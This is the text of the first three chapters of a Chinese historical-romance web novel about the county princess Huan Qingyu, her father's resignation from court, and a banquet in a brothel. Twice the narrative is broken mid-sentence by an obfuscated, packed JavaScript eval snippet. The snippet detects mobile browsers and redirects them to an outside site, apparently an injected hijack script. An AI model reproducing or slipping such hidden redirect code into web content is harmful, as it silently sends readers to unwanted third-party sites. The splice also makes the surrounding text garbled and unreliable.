《淮阴县主·邯郸道》 1. 西风残照里 大魏咸和三年秋,荆州传来捷报,安西将军萧迦叶率军一举夺回自十一年前豫州刺史王恭叛乱以来,被北边趁乱夺取的襄阳城,后乘胜追击将齐兵逐出长江以北,逼近旧都洛阳。两军交战月余,最终齐军投降,愿割让上庸、南阳二郡为条件止战。 朝廷闻讯,举国上下为之欢欣鼓舞,这是自大魏立国以来北伐首次告捷,成功收复故土。心怀故国的侨姓大族们在朝堂上纷纷上表,劝魏帝萧启乘势北伐,一举夺回当年被羯族人攻破的故都洛阳,匡扶汉室,光复神州。 而近年来一直反对新政的士族领袖中书令容铉、侍中许遵,却和主持新政的尚书令桓安在北伐一事上意见一致,都主张接受齐国的条件,立即派使臣前往边境协助谈判、犒赏三军。 魏帝思虑良久,念及边境粮草告急、将士疲敝,下旨以大鸿胪桓宣为使臣,即日前往边境。 次月,西南再传捷报,广州刺史、车骑将军桓宴携桓宣之子安南将军桓俭率军平定百越叛乱,百越一带夷族悉数归顺大魏,奉大魏为宗主国。至此,大魏南北边境实现了立国以来难得的安稳局面。魏帝下旨大赦,再度降低赋税、减轻徭役,与民休养生息。 眼见时局平稳,又有明主在世,金陵内外一片祥和欣荣之象,百姓们辛勤躬耕,安居乐业;贵族们歌舞升平,永享富贵。 秋风渐起,曲江水畔梧桐叶落,芙蓉花发,肃杀秋气亦掩不住红尘紫陌,盎然生机。 这日,许师忙完农事,收拾了箱箧赶到江边的烟霞阁替人抄书。从正午时分直到申时二刻,秋日暖阳悄悄爬上竹简,许师才抬头看了看天色,只见窗外晴空万里,水光潋滟,江岸繁花似锦,游人如织。 此情此景让他想起烟霞阁的镇馆之宝《曲江修禊图》,于是搁笔起身,踱步到正中间的雅室寻访这幅传世名作。 《曲江修禊图》乃当朝尚书令桓安的二弟、时任大鸿胪桓宣于建元六年所作。许师尤记得那年春夏之交,晋国长公主、骠骑将军萧漪清平定王恭之乱,同年秋江南多地大丰收,为庆贺太平之世,桓宣于秋禊日在朱雀航附近城楼上俯瞰金陵,画下了这幅魏帝游幸曲江、与民同乐的修禊图。 从画上可见,在已故的三朝元老、本朝首任录尚书事许衍主持下修建的皇都金陵城,东西南北各四十里,宫墙三重,南拥曲江,北依玄武湖,西临长江,都城东北处园林遍布。 衣冠南渡不过数载,大魏已初显繁华景象。 而在画幅之外,金陵四周陆续建起了石头城、西州城、东府城和白下城,以成拱卫之势。加之新政施行以来,仅三年时间,整顿军政、吏治颇有成效,魏帝厉行节俭,轻徭薄赋,奖励躬耕,京畿一带物阜民丰,水利通达,俨然有盛世气象。 烟霞阁临江而建,放眼望去,曲江沿岸楼宇高耸,酒肆林立,江上大大小小的船只来往不休,或满载货物,顺长江而下经石头城到城南朱雀航贸易金银铜铁、丝绸布帛之类;或去往东南西北各渡口的草市和城郊百姓交易稻米、鱼、羊诸物;又或是运载各地商旅入京、游览金陵繁华者,皆不可计数。 许师静立窗边,看满目秋光,纷繁而过,正打算回去继续抄书,身后却传来烟霞阁掌柜徐归饱含笑意的话音,“刚还跟伙计问起怎不见许兄?原来你又来看这修禊图了。”说着,徐归着人沏茶,“今儿容徐某陪许兄再好好看看这画罢。” 许师摆了摆手,“师正要回去抄书,就不劳徐掌柜破费了。” “哎。”徐归拦住许师,“就半盏茶功夫,许兄不给我面子,也要给修禊图一个面子罢。”他径自走到茶台前坐下,“过了今日,这《曲江修禊图》就不属于烟霞阁了。” 许师闻言,默默颔首,来到徐归对面坐下,饮茶赏画。 “你也不问问是谁买了这画儿?” 许师淡淡一笑,“其人必定非富即贵,不是我该打听的。” 徐归也笑起来,扭头望着《曲江修禊图》,看了一会儿才道:“是东海王殿下。” 一盏茶过后,许师回到隔间抄书,待日影西斜才收拾笔墨,起身离开。下楼时刚好撞见几名侍卫将装束好的画卷带离烟霞阁,围观的一位华服公子朝同伴低声笑道,“金陵城要变天了。” “你小子大言不惭。”身旁一人似有不解,“就凭一幅十几年前的破画儿?” 先前说话的那位面露不屑,“画儿是小事。今早有一封从江州来的急报,恐怕不出今晚,就能见分晓。”说完便溜去喝酒了。 “哎!齐浔你话说一半是什么毛病?”邱方连忙跟进里间去。 楼道里,一位与之同行的清俊公子,静静看着修禊图远去,仿佛默然叹惋。 “崔迪你快来瞧,这人的字比你写得好!”里头有人朝他唤道。 崔迪微微拧眉,循声而去,路走到一半,回头看了一眼许师,见他衣着朴素,气度沉静,打量一眼又往里去了。 许师走出烟霞阁,一路向东经过朱雀大街,发现沿街有士兵在张榜处揭下前几日才贴上的重开“月旦评”的榜令。 街道两边的商贩瞧了两眼便继续叫卖货物,只当是寻常政令调改;路过的寒门书生们见状却纷纷神情凝重,“本朝开国以来,首次恢复‘月旦评’,怎么才几日光景又撤了?”有人问道。 “午时前后,东海王的车驾急匆匆从朱雀门进了宫,后又仪仗恢廓地出来,这会儿‘月旦评’被撤榜,陛下的意思不言自明了。”一位书生模样的年轻男子回道。 “那新政?”凡关心政事的读书人都知道东海王一向反对新政,若被他得了势,新政越加岌岌可危。 书生摇摇头,不再言语。 许师看了一眼张榜处留下的残痕,依旧低头赶路。 走出朱雀大街,他想起家里的菊花到了采摘时节,打算去城南草市买些决明子和枸杞,给母亲配着泡菊花茶喝。刚走到路口,一架华贵马车从对面疾驰而来,路边白发苍苍的老妪不慎撞倒了自家的一筐柿子,橙红的果实霎时滚落一地,幸好马车及时停下,才没撞上冲到路中央捡柿子的老妪。许师连忙蹲下身捡果子,用月白色的衣裳下摆兜住,装回竹筐内。 马车里传出一名年轻女子的话音,“全叔,出了何事?” 马车夫转头禀明情况,随后一名衣着精致、容貌秀雅的女子走下马车来,和全叔一起把路道两边的柿子捡回,末了女子还给老妪塞了些碎银,含笑致歉道:“惊扰老人家了,还请勿怪。” 老妪自觉撞上了贵人,惊慌之下连忙道谢,又转身拉着许师的手向他道谢。 女子朝许师微微点头,便转身回到马车上。许师俯身抱起装满柿子的竹筐,带着老妪往永安大街方向走几步,找一个更好的摊位。 旁边眼尖的路人说道:“这是桓县主的车驾罢?” “错不了了。”另一个青衫男子回话道,“其他贵人也没这耐心,为几个不值钱的果子耽误事。” 一个摇着羽扇的白面书生凑过来问道:“你们是说,那个不善清谈的淮阴县主?” “嘿!”青衫男子皱眉笑骂道:“哪都有你!你脸上搽点白面,摇个羽扇,人家就拿你当清谈名士啦?也不照照镜子。” 许师安置好老妪,才抬头看向一旁与之擦肩而过的马车。恰逢一阵风过,他隐约瞥见车内女子的清丽面容,和她眉间的一抹愁。 回想起在烟霞阁听到的闲言碎语,许师仿佛猜到了是怎么回事。这边厢,老妪坚持送几个柿子给他,许师笑着收下一颗塞进箱箧,拜别老人家后依旧朝城南走去,寻思着脚程快些还能买上新鲜的莲蓬。 桓清与的车驾终于在桓府门前停下。 几日前,父亲桓安让她去国子监祭酒严道林的云水庵协助修书时,朝堂上以尚书令桓安和大司徒容铉为首的两派官员已因重开“月旦评”一事,吵得不可开交。 大魏沿袭前朝旧制,官制上一向偏重门第,所谓“上品无寒门,下品无势族。”重开“月旦评”,不过是新政一党试图恢复乡举里选的旧制,在不改变现行九品中正制的前提下,为朝廷广纳贤才。但纵是如此,以容铉为首的高门士族视之如洪水猛兽,坚决抵制“月旦评”,并趁机攻讦新政,声称新政施行以来各地官员怨声载道,已让朝廷渐失人心,长此以往恐江山不稳,社稷难安。 双方僵持之下,魏帝仍旧支持新政,自金陵至全国各州县广开“月旦评”。 不过短短几日,已深居山林的桓清与未料想接踵而至的,是一封江州兵变的急报——领江州刺史、掌管江州军政尚不足半年的容铉次子容玦,连夜急报入京称军中各级将领不满新政严苛,联名上表请奏陛下废除新政、罢免桓安。 多年来,父亲为大魏朝廷殚精竭虑,她都看在眼里。大魏门阀鼎立,要在多方角力中一面合纵连横,一面整顿吏治,绝非易事。如今好不容易迎来了南北安定的大好局面,岂料容家不惜掀起战乱也要扼杀新政。父亲和舅舅是否有足够把握回击? 此刻,她并无头绪。 下马车后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549292|186752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,桓清与一路穿过大堂,沿回廊快步来到桓安的书房前,只见房门大开,父亲褪去了官服,收好行囊,着一袭灰白衣衫坐在厅中。仿佛已等候她许久。 桓安年过不惑,远看去身姿清逸,但早年的英姿勃发已了无踪迹,换做长年案牍劳形之下的倦意和寂寥,鬓边几缕华发,更是十年来追寻萧漪清行踪未果对他的刑罚。 桓安看着匆忙赶来的女儿,展眉而笑,朗声道:“消息挺灵通了,比我预想的回程更快。”他背上包袱,走出门来,轻轻抚过桓清与的发顶,欲抚平她眉间愁绪,轻声叹道:“把桓家暗卫交给你,果然不错。”说罢,回身将房门阖上。 待转过身,他不再是金陵城里百姓称颂的桓相,从此一人,一剑,寥寥书卷,行脚天涯。 桓清与站在一旁看着陌生的他,几乎说不出话来。一切难道已无转圜的余地? “爹爹一定要这么急动身么?”她还是忍不住问出了口。 “嗯。”桓安不急不慢地朝外走着,“午时陛下急召我入宫,商议妥当后,我便回尚书省写下辞呈。”既然魏帝不愿和江州起正面冲突,他赶在消息传遍各地之前辞任离京,无论是新政落幕还是兵变偃旗息鼓都有一个台阶可下。 他转头看了看桓清与,“家中事务一向都由你二娘料理,我走后一如往常便好。” 桓清与点了点头,“是。” 桓安步伐稳健,斜阳穿过房梁洒落满身,他的心中平静无波。大魏立国根基不稳,最初他推行新政只是为了制衡以容铉、许遵为首的门阀势力,未料一路走到今日,成效已超出了当初他和萧启所期待的局面。此时结束他虽有不甘,但于人于己亦已无愧。 两人登上马车,徐徐驶过永安大街,又转朱雀大街,一路向南。眼看快到南门口了,桓清与仍旧心中不服,低声问道:“不用多久哥哥就能班师回朝了,难道......我们真的怕一个江州?” 桓安闻言沉默了一会儿。类似的话,他在大殿上对魏帝萧启也说过,他甚至还说了一句“若漪清在,绝不会忌惮区区江州。” 可惜,那时萧启避开了他的目光,只道:“若她在,便不会是今日局面。” 大魏皇室衰微,前朝覆灭后,是会稽王萧启和其妹萧漪清四处征战,广结盟友,在南北士族拥护下建立的大魏。建国后,萧启坐镇金陵,萧漪清对外守卫边疆,对内镇压叛乱。十年前晋国长公主萧漪清离奇失踪,桓安失去了妻子,桓清与失去了母亲,魏帝萧启不仅失去挚爱的妹妹,也失了左膀右臂...... “陛下以为眼下时机不对。”桓安默默注视着手中剑柄,又看向女儿,劝慰道:“你不必怨怪陛下。” 桓清与垂头,“女儿明白。” 马车缓缓停下,到达南门口了。 下车后,桓安背上行囊,遥望前路,回身对桓清与嘱咐道:“庭檐不出半年便可回京,你的仕途,等他回来再做打算罢。” 桓清与默默点头。 桓安似乎有数不尽的话要交代女儿,思来想去,却又无话,只道:“诸事多与你二娘商量。” 桓清与又点了点头,见临别在即,急忙问道:“祭酒让我帮他写《庄子》注疏,我看得一知半解,可否给我换个活儿来做?” 桓安明白她心有不舍,故意找话说,耐心回道:“此事你与祭酒直说便是,想写什么就写什么,无须跟他老人家见外。但也别因为不爱清谈而误读了老庄。” 桓清与继续点头,又道:“我沿路安排了几批暗卫接应你,爹爹是带着他们一块儿走,还是借他们金蝉脱壳,都随你的意。” “好。有劳了。”桓安笑着点头,牵了马,缓步走在夕阳下。 “难得摆脱一身俗务,爹爹要好好照顾自己。” “好。” “你何时回来?” 桓安驻足片刻,“我尽快。” 桓清与还想说什么。桓安却先笑道:“你的唠叨话还是等庭檐回来了,留给他听罢。”他回头注视着女儿,“终须一别。请清与务必照顾好桓家的掌上明珠。” 桓清与认真应下。 看着桓安远去的背影,她忽然唤道:“等你把娘带回来。” 桓安停下脚步,背对着她挥了挥手。 桓清与静静凝望着,一人一马消失在道路尽头。 南门草市,许师正拿枯树枝在黄土上认真写画着,教几名幼童识字,偶一抬头,望见桓清与孤身立于夕阳下,直至暮色霭霭,西风残照。 2. 举目双鸿鹄 次年二月,春寒正盛,许师在城中抄了一整日的书,傍晚归家途中路过山脚下,拾了一捆干柴,架在箱箧上背着,才沿小路折返回家。 刚走到菜园旁的小路,忽见一人远远站在柿子树下,玄衣落落,清峻冷冽。那人听得声响,转身看向许师,双手一揖,笑道:“许兄,别来无恙。” 许师看清来人,脚步不觉沉重了些,面上平淡无波,亦作揖回礼,笑道:“萧兄得胜归来。可喜可贺!” 萧迦叶笑而不语,缓步走到许师身前,沉声道:“许兄应知萧某为何事而来。”他略一停顿,“你托我查的那件事,已有些眉目。” 许师看了眼不远处的茅屋,朝前边小池塘方向做了个“请”的手势,“萧兄这边说话。” 见完许师,萧迦叶沿大路回城,才在路边牵上自己的马,转头见一架马车自翠色苍茫中驶来,车中传出清脆的话语声,“连云,你说哥哥此刻到石头城了么?”又道,“我一直盼着他早些回来,如今要回来了又担心他行程太赶,路途艰辛.......” 话音散落风中,萧迦叶目送马车消失在绿野深处,才翻身上马,与之背道而驰。 道路两边的树影向后飞掠而过,他不禁想起六年前的春天,他和桓俭一同从屿山赶回金陵,路过白下城南门,远远望见一个身披雪色狐裘的少女站在长亭上朝他们招手,那一声清脆而饱含思念的“哥哥”,几乎就在那一刹,让他对桓俭心生几分嫉羡。 经过长亭时,年仅十一岁的桓清与满目欣喜地请他下马饮茶,他那时不善应对他人热情,冷淡拒绝后立即离开,实则仓皇而逃。小姑娘被寒风吹红的脸颊,和那双失落的眼眸,他至今还记得。 据后来桓俭转述,在他走后,桓清与神色迷茫地问了一句:“迦叶哥哥不喜欢我吗?”这个问题......他到如今都不知该如何作答,也一直没有机会跟她解释,当然,她或许已不需要解释。 此后的一个月里,金陵城颇为热闹。 获封卫将军的萧迦叶率三千将士从荆州返回金陵。桓俭平定百越有功,被魏帝赐封镇军将军,率领一千将士自广州回京。 两人前后脚到达金陵,胜利的喜悦再次席卷整座皇城。皇宫大摆庆功宴,为两位少年将军接风洗尘,论功行赏。此后,城中各高门士族、清流名士又轮番举办宴席,借机寻欢作乐,开怀畅饮。 桓俭被一众旧友拉去赴宴几次,实在扛不住了,以病休为由,闭门谢客半月光景。每日在家莳花弄草,或是给妹妹弹琴诵书,自去三叔桓宴的军营以来,时隔一年多,桓大公子终于又过上了优哉游哉的日子,自谓是羲皇上人矣。 桓清与看着他怡然自得的模样,除去每日雷打不动地练剑一个时辰、在书房处理公务半个时辰,便是整日的闲庭信步,时而说起绮梅著窗,时而关心青草池塘,也不知他是在等待时机,还是就图个高兴? 直到一张大字飞舞的请帖把他招出去,桓清与以为他终于要有什么动作了。谁知,午后桓家暗卫首领碧芜回到桓清与的风竹苑,闲谈时说了一句,“大公子这会儿在花萼楼。” 桓清与的万千思绪,瞬间化作了一团浆糊。 她放下算筹,随口对贴身侍女连云说道,“今日的账先看到这里,我去趟花萼楼。” 酉时初,桓清与的马车在花萼楼所在的长宁街停下。她自及笄后时常和玩伴们上对面的缦阁吃酒听曲,对曲江沿岸的秦楼楚馆并不陌生。 花萼楼是金陵城首屈一指的青楼,楼中富丽堂皇,美酒佳肴、歌舞美姬应有尽有,但有一条规矩:女眷不得入内。 桓清与一身素色窄袖胡装,长发高束,摇着折扇进了旁边与花萼楼相连的小倌馆。 虽是头一回来,她打量着馆中陈设,与寻常酒楼没有什么不同。三层楼构造,一楼中庭搭了一个舞台,台上一名清秀男子正抚琴,四下遍布茶台酒席。 据说与花萼楼相连的鹊桥在二楼东面,桓清与以扇掩面,快步登上二楼,一面偷偷打量众宾客:楼内以男客居多,从白面青年到耄耋老丈年岁不一;女客也不少,除了年纪较长或身份显赫的妇人,年轻女子多以纱覆面。 但看到西边厢,五六个婢女小厮拥着一名双手拽住曳地裙裾,怒气冲冲上楼的绯衣女子,桓清与暗道:哦,有一人不同凡响。 那女子踏上二楼,一脚踹开镂空雕花木门,破口大骂道:“我倒要看看,谁敢抢本县主的人?” 楼内班头见容家四小姐容芝妍闹起来了,忙跑过来赔礼道歉。但容芝妍不依不饶,直冲进里间,不一会儿便传出女子的尖叫声,令人不忍卒听。 门口聚拢了不少看热闹的人,都是来寻欢作乐,白看个嫖客争风吃醋的闹剧也不亏。楼下的人则安之若素,小厮穿梭酒桌间应接不暇,乍到的新客在廊下、阁中挑选着环肥燕瘦,台上琴师依旧沉浸在曲音之中。 桓清与转过头向东面的鹊桥走去,路过花萼楼这头朝看守随手扔了一袋银两,头也不回地走了进去。见那看守果然没有追上来,才继续摇着折扇四处张望。 花萼楼比之小倌馆,装潢更为精美,回廊上来往行人,倩影缤纷,正是袅娜腰肢,婉转秋波,万千风流。 她一想到桓俭竟偷偷跑这儿来喝花酒,真是百思不得其解,这跟送羊入虎口有何区别?不过话说回来,她还是太偏袒自家哥哥了,纵然桓俭自身出色,惹得寻常女子垂涎,但他长到如今年纪,有点七情六欲也是人之常情......桓清与正瞎想着,忽见一扇门打开,齐浔的侍卫徐洪从里间出来朝楼下走去,她在门关上前溜了进去。 身后房门掩上,桓清与只见屋内雕栏玉砌,红帐漫卷,几处花瓶均插有淡蕊寒梅,满室飘香,中间一湾温水穿堂而过,屋里烟水渺茫,窗外远山迢递。两边有数道雕花屏风相连,围成一个半圆,隔出一间内室来,两边屏风相接处便是内室小门,以数层帷幔作掩。 桓清与听到齐浔高谈阔论的声音,说得正是“士之耽兮,犹可说也,女之耽兮,不可说也。”不禁皱眉,齐浔做浪荡子也就罢了,偏还有一股浪荡子的高傲。 此时,内室有人朝外走来,桓清与看此人身形修长,颇似桓俭,便大步走去。 她素手撩开帷幔,正欲开口,一张既熟悉又陌生的面容闯入眼帘:此人一身玄衣,丰神俊朗,眉不点而翠,形似远山俊峰;眼睫浓而密,深邃杳渺,似藏尽心底无限事;眸中水波流转,摄人心魄,令人几欲探寻。桓清与想起寂月下的辛夷花,绝美容颜中,有寥落的孤傲,倔强的清幽。 那人凝眸一瞬,仿佛认出了她。 桓清与呼吸微窒,欲当场拿人的气势陡然一转,低头致歉道:“误入此间,惊扰阁下了。”说完便往回走,手中帷幔应声垂落。 回头见一人推门而入,身姿清雅,意态闲闲,不是桓俭又是何人? 萧迦叶伫立原地,透过帷幔看她离去的背影。身后传来齐浔的询问声:“萧兄?” 他回道:“俭回来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549293|186752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “桓庭檐,你果然在这里。”桓清与沉声说道,桓俭当即怔在原地。 室内之人也听得清清楚楚。“庭檐兄不是第一次来花萼楼吗?怎得在这儿欠下了风流债?”齐浔的堂弟齐梁笑道,语气中不乏男子间常有的促狭。 齐浔一笑应之,转头对萧迦叶说道:“迦叶你离京太久,可能不知当年那些个小不点儿似的世家小姐如今长大了,一个个都轻易惹不得。帘外这位正是前任尚书令桓相和已故晋国长公主的独女,鼎鼎大名的淮阴县主桓清与。 庭檐视若珍宝、胜似亲妹的堂妹,也是咱们陛下的心头肉,自小出入宫中,七岁获封县主,及笄时陛下还想封她个郡主,食邑两千户。说句得罪人的话,风头可比公主殿下还盛。不过桓相为人谦逊简朴,让她辞谢了郡主封号,故如今还是个县主,不过又比其他家费尽唇舌讨来的要强。”齐浔影射的正是容氏、许氏的两位县主。 “说起另外几位县主,一个喜欢在小倌馆、歌舞坊里称王称霸,一个喜欢舞刀弄枪,组队狩猎,论起刁蛮、狠辣,都远胜眼前这位。” 萧迦叶静听齐浔的悉心解说,默默饮茶,未置一词。 这边厢,桓清与疾步上前,气势汹汹地问道:“快说,你刚刚干什么去了?” 桓俭在此处被她抓了个正着,也未觉尴尬,自顾笑道:“听闻花萼楼生意不错,便来见识一番。你怎么也过来了?” 桓清与对他的解释似懂非懂,是为了学习花萼楼的经营之道?还是打探什么情报?她小声嘀咕道:“这不是来找你吗?” 桓俭笑了笑,“里面说话。”说着带桓清与往里走,一面轻声叹道:“幸得桓县主神兵天降了。”他喝酒聊天半日,正愁如何开溜呢。 桓俭掀起帷幔,让桓清与先入内,笑道:“齐大公子,背后说人可还有趣?” “哈哈哈哈,庭檐你可算回来了,我们还道你莫不是被这乱花迷了眼呢。”齐浔转头见桓清与,故作惊讶状,“哟,今日桓县主怎么也赏脸光临花萼楼?快请入坐!” 此番是齐浔设宴,他坐主位。本朝以左为尊,左边依次是刚回京的萧迦叶和桓俭,右侧一位是他自家堂弟齐梁,一位则是远房表弟、当朝大司空许遵的侄子许缜。桓俭让桓清与坐他原本的位置,自己在其左侧新添了一个席位,桓清与便坐在他和萧迦叶之间。 桓清与早已习惯桓俭处处将她放在优先于自己的位置,并未推辞,坦然入座。对面两人见桓俭将堂妹领到男子宴席上已是讶然,看他如此体贴周到更为大开眼界,想到自个儿家的手足关系,只感慨“何至于此”啊。 齐浔懒懒地扫了眼席间众人的反应,嘴角噙着笑,朝桓清与说道:“这位貌若潘安的神仙人物,便是刚从荆州回来威名赫赫的萧将军。”又抬手指了指另外两位,“许缜,齐梁。都是熟人。” 桓清与和三人一一见礼,举止得当,不卑不亢。 齐浔默默打量着她,转头对萧迦叶说道:“这位便是我方才提到的桓县主了,金陵城首屈一指的贵女,平日里孤高自傲,不染风尘,今日能赏脸在我齐浔的宴席上出现,齐某简直......不甚荣幸!”齐浔这番话说得自己都快笑出声来了。 桓清与和齐浔一向不投缘,但和其妹齐谖自小交好,每回碰面总免不了缠斗几句。此刻,恐怕齐浔是又想找人斗嘴了,桓清与兴致不高,只摆首笑道:“齐大公子不必如此恭维我,万一传了出去,只怕元嘉公主要连夜出宫找我算账呢。” 3. 驱马复归来 说到元嘉公主和齐浔,那是他们这一辈高门子弟众所周知的一桩冤情孽债,只叹落花有意、流水无情。 早年间,齐夫人某日带十多岁的齐浔进宫赴宴。齐夫人在容贵嫔处续话,齐浔一人在后苑闲逛,遇到了正在闹脾气的元嘉公主。 公主当时才六七岁,脾气却不输成人,怒气冲冲地朝几名小宫女骂道:“竟敢把我的小鞠踢飞了,我让嬷嬷打你们二十大板!呜呜呜——”她此时还不太清楚二十大板意味着什么,只是一味学着母妃的口吻大吼,坐在草地上大哭大闹,“快把我的鞠找回来!呜呜呜——”一众侍女也不知是先打人好,还是先找个新的小皮鞠来。 齐浔看到不远处飘在湖心的皮鞠,又见几名内侍挤在湖边艰难打捞着,便走上前,笑容亲切地对公主说道:“公主见过皮做的蹴鞠,可见过草做的蹴鞠么?” “你是谁?”元嘉公主脸上一把鼻涕一把泪,抬头乍见这位好看的小哥哥,几乎看呆了。 齐浔见她止住了哭声,走到湖边,折了几根长茅草回来,和公主一样席地而坐。茅草在他灵活的指间穿插连结,公主目不转睛地看着,不一会儿,一个玲珑秀气、带着青草香味的草鞠就编好了。 “你是仙人么?”她眨着红通通的眼睛,呆呆的,又有些崇拜地问道。 “对啊,我是专门来哄坏脾气小孩儿的仙人。”齐浔装模作样地回道,把草鞠盛在手心,递到她面前,“公主喜欢吗?” 公主没有计较他说自己坏脾气,反而笑起来,露出白白的乳齿,点头道:“喜欢!” “那就送你了。” 她接过草鞠,当作宝贝一样,在手里颠来倒去地看着,抬头已不见齐浔踪影。 齐浔只当是哄了个小哭包,过后便忘,元嘉公主却记挂了他很久。待一年后,放在公主卧室的草裾都干黄变形了,她在山家嫁女的宴会上又遇到了齐浔。齐浔耐心地陪她玩了一会儿,转头又不见了。 此后元嘉还在宴会上见过他几次,直到十二岁那年,她向齐浔表明心意。齐浔却哭笑不得。那时他十七八岁,刚学会逛青楼喝花酒,这么个小姑娘当小妹妹逗一逗还行,若谈及男女之情,他觉得自己压根就没法把她当女人。 “浔一直把公主当作妹妹看待,从未涉及男女之情。公主千金之躯,日后定会遇到比齐浔好过千百倍的儿郎。”他拒绝得直截了当,从此得知有公主在场的宴会能躲就躲,并严词拒绝与她私下会面。 元嘉公主一贯是个执拗的主儿,用尽各种办法接近他,或是阻挠他的婚事。数年下来,元嘉公主追求齐家大公子的事迹,已传遍大街小巷。公主至今未死心,齐浔也始终毫不在意,不仅继续逛青楼,还在别院养了不少姬妾,有些欲将天涯芳草撷遍的势头。 桓清与自小出入后宫,免不了与这个表妹来往。因魏帝多年来对桓清与极为宠爱,元嘉总觉得是她分掉了原本属于自己的父爱,故对她多般刁难,视为仇敌。桓清与虽不爱和元嘉扯上关系,但此刻刚好借她让齐浔闭嘴。 齐浔闻言,果然连忙赔笑,“都是老黄历了,清与还是放过我吧。”说着,向她举杯,“我自罚一杯如何?” “哦,罚什么?”桓俭笑问道。 齐浔与他对视一瞬,便会过意来。“今日说到底是我的不是,此番设宴叙旧,原意是邀诸位到缦阁把酒言欢。这不,见庭檐还没来过花萼楼,萧兄也有兴趣来瞧瞧,我才约到了此处。” 听及此,桓清与眼中略带惊诧地看了萧迦叶一眼,后者依旧是坐听闲话的姿态,岿然不动。 “看什么呢,男人逛青楼多正常,你不也逛了小倌馆吗?”齐浔看见她神色立刻说道,这下轮到桓清与呆住了。 齐浔乘胜追击道:“花萼楼守卫最是缜密,一向不让女子入内。看你这打扮肯定是从隔壁小倌馆浑水摸鱼溜进来的。”齐浔一副得意的神色,桓清与暗自不爽,真让他卖弄了一回。 “怎么不说话了?桓氏儒道兼修,老师教过我‘饮食男女,人之大欲存焉’,肯定也教过你。所谓男女之情,性常也,并无善恶之分。”齐浔自斟了一杯酒,心中十分爽快。 “不错,情和欲本无善恶之分,但君子不宜耽情恋欲。”桓清与脱口而出,直言反驳,“进来看个新鲜自然没什么,人之贪欲正在于有一就有二,有二便有三,稍有不慎恐至迷途难返。我身为族妹,理应从旁督促劝导才是。何况古人云,近朱者赤,近墨者黑,逛花萼楼若有你在旁,未免让人更不放心了。” 齐梁和许缜仅见过桓清与几面,相交尚浅,第一次听到妙龄女子在人前直言男女情欲之事,实是叹为观止,见两人几乎针锋相对,不知这番谈话将要导向何方,只睁着两只眼睛,竖起耳朵听着。 谁知齐浔却拊掌而笑,“哈哈哈哈,我还以为过了这小半年,桓县主会收敛心气。不错,这脾气还是很合我的意!” 桓清与还他一个白眼,齐浔见后笑倒桌上。 萧迦叶明白齐浔指的是桓安辞官一事,虽知他一贯爱胡闹,但这一番唇枪舌剑不论对手是否接得住,他终归都有失风度。萧迦叶没理会齐浔的笑声,转头看向桓清与一字一句道:“大魏女儿有此风范,前途自无可限量。”说罢,抬手举杯。其余几人包括齐浔,也连忙会意,举杯共祝。 桓清与未料他会表示赞赏,偷偷朝桓俭看了一眼,后者只是笑眼相接以示鼓励,她便大大方方地回敬众人一杯。 “话说这金陵的小倌馆,我还从未去过呢。不知里边男子是何模样?”齐浔一杯饮尽,又问道。 桓俭一直在一旁给桓清与布菜,她刚想试试这花萼楼的菜肴是何风味,闻言一顿,不想理会齐浔的恶趣味,“没仔细看。” 齐浔依旧望着她。 桓清与不想冷了场子,便道:“堂上抚琴的那一位,面白,眉目清秀,身量也不错。尚可。” “哦?比之庭檐与萧兄如何?” 此话一出,满座皆惊。桓俭笑容微敛,萧迦叶不动声色,对面两人顿时感到寒气凛凛。 桓清与眼睛滴溜溜的,很想看下被点到的两人是何表情,又不敢动,率先笑道:“齐允之,你竟敢亵渎同侪,快快自罚三杯!”说着上手倒酒,把这冒犯人的话权作了玩笑。 齐浔顺着杆往上爬,直道:“是是是,该罚!该罚!”三杯酒下肚,见桓俭也摇头笑起来,便继续壮着胆问:“酒我喝了,那究竟如何呀?” 桓清与佩服他这熊胆,“不如,比之在座各位皆望尘莫及。”为表诚意,她一边说一边从桓俭这头开始环视一周,对上每一个人的目光。看到萧迦叶时,发现他也正看着自己,她眼神似被烫到一般,微微闪躲,又顾自饮下杯中酒。 齐浔笑她滑头。之后大家边聊边吃菜、饮酒,从当年国子监失火后,萧迦叶、齐浔、山玥等人与桓俭一起在桓安处读书的旧事,聊到如今的边疆之事,其间还穿插大量共同好友们儿时的糗事。 正是主客尽欢,门外喧闹声渐起,不仅有慌乱人声,还有物什倒塌的轰声,随着楼内歌舞渐息,其声越来越猛烈。 “徐洪,去看看究竟何事?”齐浔吩咐道。 徐洪进来回话,原来是金陵城的小霸王容景在楼中闹事,“说是容家三公子平日里相好的姑娘今日赎身,他逮着那姑娘与前来交赎金的男子一路从账房打出来,把几块门板都踢飞了,这样下去恐要出人命。” 前几句话,座中人除了桓清与,都只当平常事。听得快闹出人命,齐浔才微微抬了下眉毛。 萧迦叶立时起身,“我去看看。” “我也去。”桓清与即刻应声,桓俭拉住了她,取面纱给她戴好,才走出门去。其余几人也紧随其后。 此时楼上回廊上已围了数重看客。楼下则混乱一片,原本整齐的桌椅全被砸了,身着金色丝袍的容景抱臂站在大堂中央,旁边几个奴仆揪着一个素裳男子扇耳光,人已被打得满脸鲜血,左臂似被脱臼般耷拉下垂。一个发髻散乱的紫衣女子,跪在容景脚下求情,“容公子,请你放了他吧,紫鸢不走了,一辈子老死在花萼楼。” 